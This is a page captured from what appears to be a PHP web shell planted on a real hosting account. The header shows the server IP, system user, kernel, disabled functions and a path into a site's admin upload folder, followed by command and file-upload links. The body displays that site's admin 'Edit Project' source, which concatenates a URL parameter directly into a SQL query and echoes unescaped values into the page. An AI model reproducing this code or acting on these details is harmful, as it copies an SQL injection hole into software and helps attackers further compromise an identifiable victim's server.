|
Server IP : 145.79.210.100 / Your IP : 216.73.216.101 Web Server : LiteSpeed System : Linux in-mum-web1954.main-hosting.eu 5.14.0-570.26.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 16 09:12:04 EDT 2025 x86_64 User : u474798400 ( 474798400) PHP Version : 7.4.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u474798400/domains/excentia.in/public_html/admin/upload_image/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php include('config.php');
include('checksession.php');
include('include/header.php');
$pro_id=$_GET['id'];
//$sql=mysqli_query($conn,"SELECT p.*,GROUP_CONCAT(DISTINCT i.img_id) imgid,GROUP_CONCAT(DISTINCT i.img) img,GROUP_CONCAT(DISTINCT s.sub_cat_id) sid,GROUP_CONCAT(DISTINCT z.tag_id) tagid FROM `tbl_project` p
//LEFT JOIN tbl_pro_images i on p.pro_id=i.pro_id INNER JOIN project_cat s on p.pro_id=s.pro_id LEFT JOIN project_tag z on z.pro_id=p.pro_id WHERE p.pro_id='".$pro_id."' GROUP BY p.pro_id");
$sql=mysqli_query($conn,"select * from tbl_projects where id='".$_GET['id']."'");
?>
<!-- Content Wrapper. Contains page content -->
<div class="content-wrapper">
<!-- Content Header (Page header) -->
<section class="content-header">
<div class="container-fluid">
<div class="row mb-2">
<div class="col-sm-6">
<h1>Edit Project</h1>
</div>
<div class="col-sm-6">
<ol class="breadcrumb float-sm-right">
<li class="breadcrumb-item"><a href="#">Home</a></li>
<li class="breadcrumb-item active">Edit Project</li>
</ol>
</div>
</div>
</div>
<!-- /.container-fluid -->
</section>
<!-- Main content -->
<section class="content">
<div class="container-fluid">
<div class="row">
<div class="col-12">
<?php while($res=mysqli_fetch_array($sql)) {
?>
<form id="edit_project_form" enctype="multipart/form-data">
<!--<form action="" method="post" enctype="multipart/form-data">-->
<div class="card card-primary">
<div class="card-header">
<h4 class="card-title">Project</h4>
</div>
<div class="card-body">
<div class="form-group">
<label>Project Name</label>
<div class="col-md-12">
<div class="card card-outline card-info">
<!-- /.card-header -->
<div class="card-body">
<input class="form-control" type="text" id="name" name="name" placeholder="Project Name" value="<?=$res['name'];?>">
</div>
</div>
</div>
</div>
<div class="col-6 lefts">
<div class="form-group">
<label for="exampleInputFile1">Image * <br><span style="color:red;">(For better view please upload 800px x 600px size images.)</span></label>
<div class="input-group">
<div class="custom-file">
<input type="file" class="custom-file-input" name="pro_img" id="exampleInputFile">
<label class="custom-file-label" for="exampleInputFile">Choose file</label>
</div>
<div class="input-group-append">
<span class="input-group-text">Upload</span>
</div>
</div>
</div>
</div>
<div class="col-6" style="float:left">
<div style="width: 151px; height: 121px; position: relative; z-index: 100; opacity: 1; margin: 0 0 -120px 0px; border: 3px solid #fff;"></div>
<img src="upload_image/<?=$res['image'];?>" id="image" / width="150px;" height="120px;" border="0">
</div>
<div class="col-6 lefts">
<div class="form-group">
<label for="exampleInputFile1">Logo Image <br></label>
<div class="input-group">
<div class="custom-file">
<input type="file" class="custom-file-input" name="logo_img" id="logoexampleInputFile">
<label class="custom-file-label" for="logoexampleInputFile">Choose file</label>
</div>
<div class="input-group-append">
<span class="input-group-text">Upload</span>
</div>
</div>
</div>
</div>
<div class="col-6" style="float:left">
<div style="width: 151px; height: 121px; position: relative; z-index: 100; opacity: 1; margin: 0 0 -120px 0px; border: 3px solid #fff;"></div>
<img src="upload_image/<?=$res['logo_image'];?>" id="image1" / width="150px;" height="120px;" border="0">
</div>
<div class="col-6 rights">
<p id="err_msg" style="text-align:right"></p>
<div class="form-group">
<input type="hidden" name="id" value="<?=$res['id'];?>">
<button class="btn btn-warning addpro" type="submit" class="">Update <span class="spinner-border text-secondary" role="status" style="display:none;"></span></button>
</div>
</div>
</div>
</div>
</form>
<?php } ?>
</div>
</div>
<!-- /.container-fluid -->
</section>
</div>
<!-- /.content-wrapper -->
<?php include('include/footer.php'); ?>
<script>
document.getElementById('exampleInputFile').onchange = function () {
var src = URL.createObjectURL(this.files[0])
document.getElementById('image').src = src
}
document.getElementById('logoexampleInputFile').onchange = function () {
var src = URL.createObjectURL(this.files[0])
document.getElementById('image1').src = src
}
$(document).ready(function(){
$("#edit_project_form").submit(function(e){
e.preventDefault();
var newdata = new FormData(this);
newdata.append( "action", 'updateproject');
if($("#name").val()=='')
{
$("#err_msg").show().html('<span style="color:red;"> Please enter project name.</span>').delay(4000)
.fadeOut(100);;
return false;
}else{
$(".spinner-border").show();
$.ajax({
url: 'allajax.php',
type:'POST',
data: newdata,
contentType: false,
cache: false,
processData:false,
success:function(result2){
console.log(result2);
if(result2==1){
$(".spinner-border").hide();
$("#err_msg").show().html('<span style="color:green;">Project updated successfully.</span>');
window.setTimeout(function(){location.reload()},2000)
//$("#add_project_form")[0].reset();
}else{
$("#err_msg").show().html('<span style="color:red;">Something wrong. Try after sometimes.</span>');
}
}
});
}
});
});
i=1;
function add_more_images(){
$("#main_img_div").append('<div class="form-group" id=\"deadtitle' +i+'\"><label for="exampleInputFile">More Images</label><div class="input-group"><div class="custom-file"><input type="file" class="custom-file-input" id="exampleInputFile" name="mfile[]" multiple onchange="preview(this)"><div class=\"preview-area' +i+'\"></div><label class="custom-file-label" for="exampleInputFile">Choose file</label></div><div class="input-group-append"><span class="remove_images" onclick="remove_more_images(' +i+'\);">-</span></div></div></div>');
i++;
}
function remove_more_images(id){
$("#deadtitle"+id).hide();
}
function del_img(id){
var result = confirm("Want to delete this image?");
if (result) {
$.ajax({
url: 'allajax.php',
type:'POST',
data: ({
action: 'delete_pimage',
'img_id' :id
}),
success:function(result){
console.log(result);
//$("#tr_"+id).hide();
if(result==1){
alert('Image deleted successfully.');
window.reload();
}
}
});
}else{
return false;
}
}
</script>
</body>
</html>